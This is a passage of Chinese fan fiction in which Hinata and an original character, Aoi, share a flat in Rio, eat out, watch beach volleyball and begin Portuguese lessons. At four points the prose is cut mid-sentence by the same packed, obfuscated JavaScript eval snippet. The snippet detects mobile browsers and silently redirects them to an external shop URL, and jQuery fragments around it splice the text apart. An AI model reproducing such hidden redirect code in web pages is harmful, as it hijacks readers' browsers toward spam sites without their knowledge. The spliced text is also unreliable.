他脸红不只是因为葵突然抬头看过来的反应，还有手伸过去的时候，拂过如云般柔软轻盈的发丝，又贴上了带层薄汗的肌肤。 明明是最正常的动作，又出于绝对正义的关怀之心，他却蓦地心跳加速，感觉自己像在做什么坏事。 想要遮掩什么似的，他张开双臂抱住箱子，又突然意识到这个动作像是隔着箱子在对葵张开怀抱，他赶紧低头盯着盖子的纹路，不知道在跟谁说话：“我们，赶紧先回去吧，然后再好好休息！” “好。” 葵晃晃悠悠地跟着日向回了家，看见自己的东西整齐地堆在门边。 她随手抱起床垫，巡视领地一样，在客厅走了一圈。 唔……一边是沙发，餐桌横亘在中间，旁边又是走廊，这个还带着一个开放式厨房的小客厅，完全找不到地方可以放嘛。 她又抱着床垫，脚步没有停留地走过佩德罗的房门，进了日向的房间。 日向的房间约有十多平米大，是狭长的布局，横着的空间倒也可以平行摆下两张床，却会阻挡门的开合。 葵抱着床垫挪进了房间深处，发现正对着原本的床，在小书桌和衣柜的旁边，刚好可以摆下她的床垫。 “好像就只能摆这里了。”明明是一件无可奈何的事情，可她掩饰心虚似的，抬高了音量，耳尖带上一抹绯色。 “就只能摆这里了！”日向也跟着说了一句，像是赞同，又像是在表达许可，眼睛却只敢盯着地板。 床垫被放在地上展开，发出沉闷的响声，小鸟游葵长长地松了口气。 “那个……谢谢你今天帮我搬东西，还有安慰我……我请你吃饭吧。” “没有关系的，”日向抬起头，琥珀色的眼睛认真地看着她，“就像葵之前不求回报地帮助我一样，我也想报答你，而且葵现在不是……遇到了很多麻烦吗，还是尽量多留点钱，先度过眼前的难关吧。” “那只是随手帮的一个小忙而已，”小鸟游小声地嘟囔了一句，才用正常的音量继续说道，“饭还是要请的，我目前有做一些零散的工作，维系生活的钱不用担心，而且，好歹我还是比你在这里多待了不少时间，刚好可以带你熟悉一下环境。你等下除了上课还要做什么？” 日向开始掰起了手指：“先去上沙排课，老师说想让我和他的学生搭配去参加一个比赛，所以今天要练得久一点，下午就不去送外卖啦，可能会去看看附近的健身房，办张卡，然后晚上再去海边打会儿野球。” “那我们就一起吃晚饭吧！”葵打开手机，开始浏览起了附近的餐馆，“你想吃什么？巴西菜？烤肉？还是日料？” 葵看了一眼他结实的薄肌，推测道，大概是烤肉吧，就直接在搜索框输入了关键词。 “我想尝一尝葵最喜欢的餐厅和食物！”耳边传来了雀跃的声音。 “欸？”葵放下手机，在这热切的注视中，莫名有点结巴，敏感的心和喜欢深度加工信息的大脑让她无法把这句话解读为单纯的好奇，“我，我的口味很随便的，你，你说不定不适应，你想，我都来巴西那么久了……而且……是我请你吃饭，应该选点你喜欢吃的……还是尝尝烤肉吧！巴西的烤肉很有名的！刚好你今天辛苦了……” “葵喜欢吃烤肉吗？”眼 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13716680|144762||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 前的人好像突然变成了什么单细胞生物，脑子里只剩下直线般简单直接的逻辑。 …… 葵鼓着腮帮子纠结了半晌，才泄气地说了实话：“不算太喜欢。” 准确来说，她不喜欢的是那些因为负担过于沉重、不适甚至疼痛，让她意识到自己身体存在的时刻，尽管这在她的生活中总是反复发生，而过度的饱腹感和强烈的味觉刺激会让她感到疲惫。 她知道自己好像确实是比“正常人”要敏感一点的。 “那就吃别的吧！”日向双手扶着自己的床沿挡板，低头看她，眼神里满是期待，“葵不是已经在里约待了一段时间了嘛，有吃到过自己觉得还不错的餐厅吗？” “算是有吧……”葵小声地回复着，依然很不确定地看向翔阳，“真的不想尝尝巴西烤肉吗？” 蓬松的橘子头大力地摇动起来，残影几乎变成了一个滚圆的橘子。 什么呀，葵突然有点想笑，竟然不受控制地伸手过去，一上一下，摁住了这颗乱动的橘子头。 是和自己完全不一样的发丝质感，硬硬的、韧韧的、不受拘束地乱翘着，从手指张开的缝隙间探出去，连头发都充满着旺盛生命力的样子。 下巴乖乖地贴在自己的掌心，刚好可以被手心拢住，像那种听到叫名字就会颠颠地跑过来，自己把头伸过来的狗狗。 四目相对，睁得圆圆的杏眼看着她。 葵倏地收回了手，好像突然明白了今天搬箱子时日向脸红的原因。 她赶紧抓起自己的手机，随便滑动了几下屏幕，实际上什么都没看进去，只是为了掩饰自己的慌乱。 “嗯嗯，刚好我昨天把贵重物品都寄存了，今天下午去取回来，然后我就陪你去健身房，再给你介绍一个便宜健康又好吃的餐厅……” 葵的心思缜密，为了确保自己一个人在外度夜的安全，全身上下贵重的东西只留了一个手机。详细地安排完今天的行程，她把手机递给了日向，言简意赅地说：“电话。” 日向难掩兴奋地输入了一串数字，身体前倾，发出热情的邀请：“既然这样的话，葵今天晚上要不要和我一起去海边打球呢？” “不要！”葵想都不想就拒绝了。 “欸——”日向垂下眼角，嘟起嘴，两根食指相对着，一点一点的，“试试看嘛，晚上打球的，什么样的人都有哦，像这样的老爷爷，这样的阿姨，这样的小妹妹——” 葵这才发现翔阳有着惊人的模仿天赋，随便摆几个表情和神态，脸上就男男女女老老少少的。 “那也不要！”葵往后缩了缩，躲避他全身上下都散发出来的失望电波。 “那去看我打球呢？”日向锲而不舍，继续前倾。 葵退无可退，近乎不存在的核心肌肉让她也只能微微仰头而已。 面对着热切的眼神，葵艰难地说出：“好……吧……” “耶！”日向翔阳立刻振臂欢呼，干劲十足地出门了。 ……真是充满活力。 房间里终于安静下来了。 葵抱住枕头，舒服地靠在上面，放任自己的脸慢慢陷了进去，抬手懒洋洋地整理了几下头发。 像是林中的小鸟，在雨后站在最高的枝头，晒着太阳，蓬松起自己全身的羽毛，仔细地梳理。 ……暖洋洋的。 5. 第 5 章 吃饭前葵先简单地帮助了日向在家附近的健身房开卡，出乎她的意料，看起来经济也算不上宽裕的翔阳还购买了昂贵的私教服务。 “一开始锻炼的话，希望有专业的人带着自己，刚好我也有很多关于肌肉和体能方面的问题想要咨询一下。”他这么解释。 葵垂下眼睛，默默想，这是真的很爱排球，也很积极地想提升自己吧。 他们吃饭的那家餐厅不用预定就有座位，里面的墙壁上挂着好几个电视，空间被分隔成了大概两部分。 正中心有一长条吧台，不过吧台的座位似乎是永远不够的，这里是全餐厅最热闹的地方，即使没有位置了，很多人也挤在那里，站着喝酒看球聊天。 更宽阔的后方是稍嫌空荡的桌椅，仅供吃饭的人就座。 马上就是里约奥运会了，店里还应景地装饰上了国旗。 服务员给他们拿来菜单，离开的时候葵提前扶住了桌子上的盐罐，没有让服务员粗心的衣角把这个罐子给一并扫下桌。 “哇，”桌子对面的翔阳果然瞪大了眼睛，“葵敏锐得简直就像能未卜先知一样。” 葵经受了他这段时间不间断的夸奖攻击，有些麻木地感觉到自己害羞的阈值已经高了不少，甚至现在还能冷静地开口解释：“从这边可以看到是很明显要掉下去的，只是你那边可能有点被服务员身体挡住，看不见罢了。” 小鸟游知道日向大概率看不懂关于菜品的复杂葡语，于是把菜单铺在桌子上，耐心地讲解：“这家店中午可以点套餐，就是这个，两盘菜还加饮料、面包和甜点，如果你以后上课来不及的话可以来这里吃。” 橘子头凑近桌面，明明也看不太懂，但视线还是专心跟着葵的手指移动，听到这句话突然抬起了头：“我想尽量自己做饭，葵要跟我一起吃吗？” 啊，葵突然想起了，他房间书架上摆得满满当当的书籍，除了学外语的、运动的、打球的，甚至还有几本营养学。 他连吃饭都很认真，葵不动声色地开口：“不用了，我——” 话到嘴边，她才发现自己并没有想好一个合适的借口。 “就一起吃吧，”日向咧开嘴笑了起来，“做一个人的饭好麻烦，而且两个人一起吃还更起劲！葵每天学习忙吗？在家的时间多吗？” 葵暗暗腹诽，吃饭又不是打球，哪里还需要两个人互相配合，但她还是诚实地跟他解释道：“不忙，巴西的大学基本会读个五六年，很多人进入大学之后会一边工作一边读书，为此学校也设置了很多晚上的课程，我也是这么打算的，所以都选的晚上的课，最近还没有找到稳定的工作，白天基本都在家。” “这么久，还要兼顾学业和工作！”日向又露出了很敬佩的表情，“那很好呀，我们这几天的早中晚饭都可以一起吃了。” “……那就麻烦你了，我会帮忙备菜和洗碗，以及这部分的费用我也会一起支付的！” 葵没再推辞，她本来也是个顺水推舟，漂到哪算哪的性格，所以就这么答应了。 “葵太客气了！” 在别的地方多帮翔阳一点忙吧，还可以怎么帮助他呢？得这两天好好想想，葵暗暗思忖。 她又出声把日向的目光拉回了菜单：“然后呢，这是一个家庭餐厅，这里的食物有两种分量，可以自己点自己吃的，也可以点大家一起分享的，你是想——” “一起分享吧。” 一起分享。 葵心里的声音几乎和日向同时响起，这让她悄悄勾了勾嘴角。 日向翔阳的想法都很好猜，更何况小鸟游葵本就对别人的表情和情绪很敏感。 可是，她为什么会忍不住笑呢？ 小鸟游赶紧压下嘴角，开始严肃地介绍起了菜品。 点完菜之后葵和日向聊着闲话，或许是有球队进球了，吧台那边突然爆发出如雷的欢呼声，把专心聊天的葵吓得一抖，噤了声。 “葵是真的对周围的环境和刺激很敏感啊。”日向再次确认了自己的观察，忍不禁感慨道。 “是啊。”小鸟游小声地承认了，慢慢平复着因为刚刚被吓了一跳而疯狂加速的心跳。 更准确地来说，她大概可以算是高敏感型人格，不过倒也没有专门给日向讲解这个的必要。 “很辛苦吗？”日向投过来的目光中是掩不住的关切。 小鸟游因为他的这个反应愣了一下，被他天然的强大共情能力感动了一瞬，下意识地说出了实话：“很辛苦啊……” 不好，她心想，再这么下去，他们是不是就要开始聊聊她的童年，她的回忆，她为什么来巴西，以及为什么来里约读书了。 小鸟游葵并不打算对日向袒露太多的自我，也就是话说出口的那一瞬间，她决定赶紧把这个似乎要往严肃和沉重发展的话题拉回到轻松愉快、适合这顿晚饭的程度。 刚好服务员也端着菜来了，她向上菜的服务员道谢，示意翔阳赶紧品尝，日向浑然不觉她复杂的心思，期待地双手合十：“我先开动了！” 然后葵轻松地接上了刚刚的话题：“所以我一直都在为了下辈子能成为理想中的动物而努力行善积德呢。” “葵想做什么动物？”日向举着叉子，表情愣愣的，看起来明显是把她的玩笑当了真，竟然还继续追问了下去。 可是，偏偏她还真的想过。 “想当鸟。” “鸟？” “嗯。” 眼前的橘子头突然来了兴致，摇头晃脑的：“我在国内读的高中叫乌野（karasuno），和乌鸦（karasu）的发音很像吧？葵想当乌鸦吗？” 葵有些为难地开口：“可是……乌鸦……还是算了吧……在鸟中算是比较聪明的，活得会有点累……” 橘子头迅速蔫了下去。 葵赶紧表明自己并不是针对乌鸦：“就是……我只想当那种不大不小，体型适中，虫子、浆果、草籽……什么都能吃，森林、灌木、水边……在哪也能活的鸟，没什么天敌，也不太引人注目，很容易躲起来，即使被看见了也不会让人觉得是什么很值得多看几眼的东西。” “哇。”日向慢慢张大了嘴。 真是令人震撼程度的消极生活态度。 * 吃完饭后他们还一起在周围的超市逛了一圈。 日向深深吸了一口气呼出来：“是和日本超市不一样的味道。” 用鼻子熟悉环境，像只小狗。 葵忍着笑介绍了一下这里的常见蔬果，巴西这点好，物产丰富，满满当当的蔬果延伸了好几个货 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13716681|144762||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 架，颜色也好看，让人内心也跟着充盈喜悦起来。 到了海边，葵找了个地方规规矩矩地站着，日向只是拉伸了一下四肢，甩甩手，明明语言也不通，就自来熟地加入了一场比赛。 原来沙滩排球是这样的一种运动啊，葵专注地看着。 平时她的视线并不会为沙滩排球多做停留，模模糊糊地觉得是一个跑跑跳跳，把球拍来拍去的运动。 但是现在，夜空悬着细微的光点，所有人都在抬着头向上看，目光紧紧追随着空中的排球，紧绷的肌肉蓄势待发。 日向翔阳就像一团火苗，流星般耀眼的焰色流光划破黑夜，他高高跳起来的时候总能带起地上的沙子，扬起一阵沙雾，舒展的身姿像是要在这夜空里飞翔一般。 葵不由地心跳加速，随着场上的局势一起一伏，跟着每一个击球和排球砸地的瞬间敲击出重音，海风吹来，冷却了她涔涔的汗水，她才觉察出自己肌肤的滚烫来。 偏偏翔阳和球友们欢呼拥抱了之后迫不及待地向她走来，他的小腿和小臂都覆盖满了沙粒，连脸上都有，但是被汗水洗得发亮的眼睛带着喜悦和期待看过来，亲昵地凑近了她的身旁。 “呐，沙滩排球，很有趣对吧？” 葵沉默地伸手，在翔阳倏然瞪直的猫眼中，抚上了他的脸。 ……软软的。 “……有沙粒。”她给她展示了一下自己的手掌。 “哦……”翔阳晕乎乎的眼神显示出他已经烧得宕机的大脑，可是目光却信赖又依恋地往她手上偷瞄，像只期待抚摸的小狗。 葵的心跳如鼓，悄悄垂下手捏紧了拳头，发现了一个令人绝望的事实。 她喜欢翔阳。 翔阳也喜欢她，这个连傻子都能看得出来，甚至可以说，就连翔阳为什么会喜欢她这件事情，也都是傻子都可以想得出来原因的。 独自一人远赴异国他乡，雏鸟情结般地依恋上了一个引领和指导他的人，更何况他们现在还多了点互相帮助相依为命的意味。 可是她喜欢翔阳，这种感觉让人陌生，说不上是新奇还是恐惧，偏偏她又想起今天自己几乎是由着一瞬间的冲动，跑回去取了床垫，她剖析这无疑是因为自己想在翔阳身边多待上一会儿的，原来她动心的时间还要更早。 “欸，不是吧，这都可以？” 热闹的里约海滩上竟然又响起了一句日语，打断了她的思绪。 葵错愕地看过去，是一个红棕色头发，高大帅气的男子，日向翔阳在短暂的惊讶之后立刻就兴奋地蹦了起来：“大王！” 他马上和这个陌生男子热切地聊了起来，两人似乎是国内就认识的旧友，翔阳还侧身，兴奋地给朋友介绍起了小鸟游葵。 葵只能礼貌地扯扯僵硬的嘴角，因为不安全感在她的心中蔓延。 他们很熟？他会来翔阳家住吗？那……还有她的位置吗？他在巴西待了多久？这幅游刃有余的样子…… 在和日向说话的及川彻忍不住抬起眼看了下他背后沉默的女生，感觉心里毛毛的。 小不点刚刚介绍这个女生是叫葵吧？他姑且还算是对自己的魅力有点自知之明，可是这种第一次见面眼神竟然毫无波澜，甚至还透露出一股隐隐敌意的女孩子—— 好可怕。 6. 第 6 章 原来及川彻也是排球运动员，在阿根廷打球，现在只是来里约集训一周，他们有集体入住的酒店，这让葵稍微放下心来，不再担心自己的去留问题。 葵站在一旁，耐心等待着那个她开始觉得自己多余，可以像及川的队友们一样，顺理成章地说出“你们聊，我先走了”的时刻。 可是她一直都没有办法说出口。 因为日向时不时就要把话题引回她的身上，像只围着她团团转的小狗。 “欸？巴西离日本有绕地球一周吗？这么一想确实有点远，差异也很大，还好在这里遇到了葵，帮了我很多忙呢！” 说着，日向和及川两个人的目光又看了过来，葵赶紧扬起嘴角，露出一个恰到好处的害羞微笑。 面前这个叫做及川彻的男人表面上看起来轻浮，喜欢逗日向玩，刚刚还故意跟队友说日向是初中生气他，实际上相当敏锐又游刃有余，在听见日向直接称呼小鸟游葵名字的时候，还露出了玩味的笑容。 葵有些头疼地想，虽然她可能要被从日向家里赶出去的警报解除了，但及川彻依然是个看上去相当麻烦的家伙。 麻烦在于，她别扭地不想被任何人看出来她喜欢日向。 葵害怕承诺，在这点上，她和巴西人不谋而合。 巴西葡语里甚至专门创造了一个叫做“rolo”的词，来描述这种两个人在一起相处约会，但完全不介入对方生活和未来的特殊暧昧关系。 倒不是说葵希望日向成为自己的rolo，而是她向来习惯于以一种做减法的方式生活——不喜欢一个地方，就逃到另一个地方，不喜欢一个人，就把这个人完全推出自己的生活范围。 现在她因为一些机缘巧合和一时冲动，和日向在一起生活，尽管到目前为止还没有让她觉得难受的地方，甚至总是忍不住想更加接近一点翔阳，但她深知自己的本性，不但不准备做出什么行动，还已经早就摆好了起跑的姿势，时刻准备着撤离。 “从头开始练起，不会很苦吗？” 葵突然听见旁边两个人的话题不知怎的就深入到了对人生的规划和感慨上，于是及川彻这样问道。 “……挺苦的，但是，我很喜欢升级啊。” 小鸟游葵看见翔阳的眼睛闪闪发亮，只是把这句话说出口，都让他回想起了什么似的兴奋不已：“这种从无到有的喜悦，无论怎么重复，都不会腻呢。” 夜晚的海风吹得日向的t恤鼓起，同样的这么一阵风也吹到了葵的耳边，让日向的这句话重重地敲击在葵的鼓膜。 翔阳和她，非常地不一样啊。葵垂下头，有些不是滋味地想着。 及川彻听了这句话，抬起头意味不明地“哼”了一声，然后头一歪，大拇指随意地指了指沙滩：“那我们不如来打会儿？让我来看看你修行升级的成果。” “啊——”眼前的日向变成了沮丧的面条人，软塌塌地就要往地上倒去，声音也颤颤巍巍的，开始小声念叨，“怎么办……我也好想和及川学长一起打球，可是今天已经做了好多事情……还去了健身房……刚刚也打了很久的球……但是明天早上九点还要上课……” “那就明天晚上，怎么样？顺便再一起吃顿饭，葵也一起来好了。”及川彻没太在意，相当爽朗地发出了邀请。 日向就像又迅速充满了气的气球一般一跃而起，活力十足：“好耶！就这么定了！” 葵错愕地张口：“啊？我……” 还没等她想出什么婉拒的理由，日向就爽快地帮她一起回复：“那就明天见！再见！及川学长！” 高大的棕发男子清爽帅气地向他们挥了挥手。 葵微微点头示意，也无奈地跟着日向离开。 沉默地跟着日向走了几步，葵突然开口说道：“其实……翔阳的沙排课，时间都是在早上九点的吧？” 但是他之前竟然说自己下午才上课，所以早上可以陪她回去搬东西。 “欸？”眼前的橘发少年背影一顿，脖子僵硬地转过头来，“没，没有啊……” 小鸟游葵却不依不饶：“就是在早上九点吧，现在回想起来，当时拜托翔阳陪我回去取东西的时候，你很明显就愣了一下，分明那个时候就是在考虑要不要翘掉沙排课了。” “果然什么都瞒不过葵的眼睛……”日向小声地嘟囔着，又连忙为自己解释了几句，“今天主要是和我的队友配合练习，准备接下来的一个入门级别的比赛啦，只要我们两个约好时间就行，所以我其实等于只是空出了自己打工的时间而已——” 说到这个他又赶紧噤声，心虚地看了一眼小鸟游葵，他直觉精准地感受到这也会给她增加负担。 他的直觉没错，葵恹恹地垂着眼，心里面想的是，这么赤诚热烈的好意，她不值得。 她注定不会成为日向升级的目标和奖励，因为她是一个永远在向下滑行的人，他们之间的距离只会越来越远。 就算这种二人之间的距离不会影响什么，从另一个角度想，他们两个就像在同时进行加减法的运算，你加我减，最后的结果还是会保持不变。 所以为了她能干脆利落地随时成功逃跑，首先要确保他们两个互不相欠。 葵马上调整好了自己的表情，摆出一个温柔的笑容：“那就从明天开始，在你空余的时间里，我来教翔阳学习巴西葡语吧。” 日向睁大了眼睛望过来，看起来有些惊讶，可是眼神里面分明是藏不住的期待：“这怎么好意思……” 葵笑意盈盈，客套地说：“没什么不好意思的，翔阳帮了我太多忙了，刚好我这段时间比较有空，起码，打球时最常用的这些葡语要想办法教会你吧。” 边说，葵边思考起了从明天开始要先教他些什么。 翔阳还沉浸在喜悦之中，浑然不觉地问她：“我现在就有一个不太懂的问题，他们打球的时候总是喊的，那个什么，卡，卡拉油，是什么意思呀？我好像从来没有在书上学到过。” “是骂人的话。”葵心不在焉地回复道。 日向突然变成了豆豆眼，一脸震惊和懊悔，表情逐渐石化裂开：“我……还以为他们是在互相加油，所以也跟着喊了好几声。” 葵想象着日向高举起手臂，带着积极阳光的笑容，雀跃又振奋地对着巴西人们 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13716682|144762||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 大喊脏话的这幅莫名其妙的场景，忍不住“扑哧”一声笑了出来。 听见笑声，这只橘子小狗委屈地转头看着她，眼神控诉。 葵这才意识到她刚刚的回复过于简略，连忙补充道：“没事的，可以喊没关系，他们喊的是caralho，你姑且可以看作是类似于英语里面fuck一样的用法，算是一个表达震惊或者激动的语气词。不过，还是要小心使用，因为这个词也不是太文雅，它的本意是……” 葵从没这么严肃认真地教过一个人脏话，突然梗住了，眼神开始飘忽。 要用母语解释这个单词给她一种强烈的羞耻感，偏偏日向还用清澈无比的好奇眼神热切地注视着她，等着她接着往下说。 “就是……那个……男性的……生殖器……”她的声音越说越小，尽量使用科学专业的词汇来表述也无法压抑下她上涌至双颊的滚烫血液。 “啊？啊，哦！”日向也“腾”地一下脸颊通红，热得似乎快要冒烟。 两个人各自害羞地挪开视线，默契地在心里同时暗叹一声—— 这个葡萄牙语，看起来也不是这么好教/学的啊…… * 回家之后，葵再怎么磨磨蹭蹭，懊悔于自己白天的一时冲动，也到了不得不上床睡觉的时候。 葵规规矩矩地躺在床上，万籁俱寂的夜里，她听着日向轻浅的呼吸声，才发现自己不知不觉地和他调整为了同一频率。 缓慢、悠长、一呼一吸都从容，让她不由自主地放松了下来。 “葵。” 突然响起的清亮声音把葵吓得一抖，她的被子摩挲出一阵响声。 日向过了一会儿才意识到发生了什么，连忙小声地道歉，然后又像小学生说悄悄话一样，压低了声音，用更温柔的气声，拖着调子喊她。 “葵——” “嗯嗯。”葵无奈地回应。 “所以葵当初是为什么决定来巴西？” 头顶床上的人自己问出了这个问题，又自己把自己的好奇心勾起来了，葵听见那边传来了翻身而起的声音，似乎现在是趴着，好奇地探出头来看她。 葵闭上眼睛，没有什么情绪起伏地说：“嗯，也没有为什么，我的阿姨，也就是我妈妈的妹妹刚好在巴西，她在圣保罗开了一家店，顺带一提，她就是我那个最近说要去南极洲探险之后就再也联系不上的亲戚，总而言之，有一年她回日本探亲，就顺便把我带过来了。” “那当时葵自己愿意过来吗？” “就是我主动要求来巴西的。” “哇，还这——么小，就这么有主见！” “不是有主见，只是胆小鬼罢了。” 说完这么意味深长的一句话，葵自觉失言，赶紧翻了个身，故意打了一个大大的哈欠。 果然，日向马上就说：“啊，不早了，早点休息吧，晚安，葵！” “晚安，”葵调整到舒服的入睡姿势，想了一下，还是补充了一句，“说起来，明天我就不去参加你们的聚餐了。” “欸？！——” 回应他的只是小鸟游葵均匀的呼吸。 7. 第 7 章 “起床啦——小——鸟——游——葵——！” 葵被日向朝气十足的声音吵得根本无法再强行入睡，努力睁开眼睛看了一眼手机。 七点半。 这什么鬼时间，她痛苦地放下手机，上次在这个时间醒来好像都是上辈子的事情了。 “起——床——吃——早——餐——啦——” 日向把声音拉得长长的，嘴几乎要凑到了她的耳边。 葵默默翻过身去，发出梦游一般的声音：“我再睡会，等下自己吃。” 身后的声音突然变得委屈：“可是，早餐我都已经做好了。” 葵猛地睁开双眼，大脑瞬间清醒。 完了，本来想着教完葡语还债就跑路的，怎么好像还越欠越多了。 按照她的计划，还是尽量两不相欠，争取下周就搬出去，保持那种见面就远远地打个招呼那种关系吧。 疲惫的大脑拖着强制开机后，即使洗漱完也没有清醒多少的身体来到了餐桌旁边。 葵扫了一眼，嗯，种类很丰富，水煮蛋、沙拉、面包、香蕉，旁边摊开着一本大大的《营养学》和一张勾画着什么的草稿纸，一副连每种食材的摄入量都进行了精心计算的样子。 这就是被阳光小狗饲养的生活吗，好健康…… “葵不喜欢吃味道太重的东西，对吧，我连胡椒都只放了一点——点呢！” 日向举起食指和拇指比划，两根指头几乎要合在一起，他眯起一只眼睛，声情并茂地给葵展示他刚刚调味的时候有多谨慎。 葵的大脑又不受控制地多想，之前日向一定要尝一尝她喜欢吃的食物，不会就是为了摸清她的口味和喜好吧。 真的有人能面对这么热烈直率地表达好感而不动心吗？啊——快停止散发魅力吧你这从头到脚光芒万丈的家伙！ 好想逃，葵在内心虚弱地尖叫，回避开视线，道谢后拉开椅子坐了下来。 “我开动了——” 一个朝气蓬勃，一个心不在焉，两个截然不同的声线同时响起。 日向一边往自己的盘子里分着沙拉，一边抬眼期待地看着葵：“葵真的不来一起吃饭吗？及川学长可厉害了，尤其是他的发球，超级难接，以前比赛的时候经常能连续发球得分呢。” 葵心想，就算你这么说了，无论如何也不会有人在吃饭的时候突然站起来表演一个空气发球吧…… 她只是挂上客套的微笑：“嗯，感觉和不熟的人吃饭有点尴尬，麻烦翔阳帮我掩护一下，就说我有事吧。” “哦……”橘子头慢慢垂了下去。 各自安静地吃了一会儿。 “翔阳……为什么这么希望我去呢？”葵终于忍不住好奇地问道。 “因为……希望葵能认识我的朋友，也希望我的朋友能成为葵的朋友。” 葵的脑海里突然冒出一只橙色小狗扯着人类的裤脚，兴致勃勃地拖到自己的小伙伴面前的场景。 她悄悄叹了一口气：“好吧，我会去的。” “欸？！”日向惊喜地抬起头，腮帮子还鼓鼓囊囊的。 就一顿饭而已，葵心想，这是为了还债罢了。 “等会儿我来买菜，翔阳上完课就早点回来吧。” “不用这么麻烦的！我上完课顺路一起买回来就行了。” 葵不由分说地举起日向照着书籍列下今日食谱的那张纸，扫了一眼：“要买的就是这些对吧，好的，我明白了。” “葵好霸道……”橘子头小声地嘟囔着，声音中却有藏不住的喜悦和甜蜜。 吃完饭葵继续霸道地把日向直接赶走，说自己会负责洗碗收拾。 “我出门啦！”日向满脸期待地看向葵，星星眼眨巴眨巴的，就是不走，明显在等着她说出那句话—— “嗯。早点回来。” 葵无奈地顺从了。 当然，这也是为了还债罢了。 她打开水龙头开始清洗餐具，佩德罗打着哈欠从房间里出来：“早——” 他突然看清水槽前站着的并不是日向，猛地回过神，震惊地问她：“你不是晚上才上课吗？竟然起这么早。” “嗯。”葵漫不经心地把盘子放到沥水架上，心想，有狗的生活就是这样。 * 葡语课开始于午饭后，翔阳打工之前的那段休息时间，佩德罗也坐在客厅的大桌上，他好奇地瞥了一眼日向从日本背过来的葡语课本，兴致缺缺地戴上了耳机，拿着漫画回屋了。 葵已经早早地把他的课本翻过一遍，想好了今天要从发音开始学起。 她指着最前面的发音部分，纠正他：“在巴西葡语里，D并不总是发[d]的音，而是像这样——” 她缓慢地念出正确的发音，把口型做得又大又明显，边讲解着要点。 “舌头要抵着，有点咬住的感觉。” 她张开嘴给日向看自己的舌头，以及舌头该摆在什么位置。 日向意料之中地涨红了脸，他根本不敢盯着葵看，只能避开视线，看见了桌上的超大号水杯，像看见什么救星似的，他端起来，咕噜咕噜地往嘴里灌了好几大口，修长的脖颈线条上，微微凸起的青涩喉结一起一伏。 葵耐心地等待着，无论如何，今天势必要让他学会正确的读音。 翔阳终于把水都吞了下去，依然把脸错开，结结巴巴地小声念：“D，D……” “嗯……还差点，发音要更像是英语里面说job时的j，或者日语里面……发音类似的……比如说，我们正在上葡语课的“课”（授業 ju gyo u）。” “J，J……” 日向声如蚊讷，视线依然躲躲闪闪，葵只能看见他从脖子红到了耳尖。 “翔阳，你好好看着我的口型，要大声、清晰地念出来。”葵不满地鼓起双颊，强行扶住了日向的脸，让他面朝自己。 日向的脸已经快要比头发都还红了，马上就要变成一滩黏糊糊的橘子果酱，咕啾咕啾地滑下凳子。 可是葵的眼神坚毅，她不断地用着“还债”“跑路”这几个字催眠和麻痹自己，坚定地注视着翔阳。 少年刚刚喝过水的嘴唇尚且湿润，现在茫然地张着，瞳孔微颤地看着她，翔阳紧张地吞咽了一下口水，终于发出了一个还算像样的音节。 “很好，”葵满意地放开日向，伸手指着书上的例词，“那这个单词怎么读呢？” 出乎葵的意料，日向都读得很标准。 “太好了！”她快乐地翻着书页，想找出一个句子来测验一下翔阳，按照这个进度下去，她很快就能完成任务，两不相欠，溜之大吉，“读一下这个句子吧。” 日向眼神坚定，带着极强的信念感读了下来。 读完，他还期待地看向葵，露出一个等待表扬的神情。 葵皱起眉头，察觉到了事情好像有哪里不对。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13716683|144762||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>这发音……怎么好像就没一个对的？ 她又把书页翻回去，指着发音部分：“这个字母组合怎么读？” 日向的发音很正确。 她又指着几个单词：“那这些单词呢？” 发音也都没有问题。 葵把书页翻回课文：“这个句子？” 日向再一次大声、坚定地读出了自己风味的葡语，发音扭曲得可怕。 看着日向亮晶晶的眼神，葵抿了抿嘴，还是艰难地夸了一句：“嗯，进步很大，还需要多练练，巩固一下。” “我也觉得自己进步好大，葵好会教！” 橘子小狗活力满满地绽开笑容，看起来对自己信心十足，又摇头晃脑地，小声地重复了几下刚刚学到的音节，发音也都是标准的。 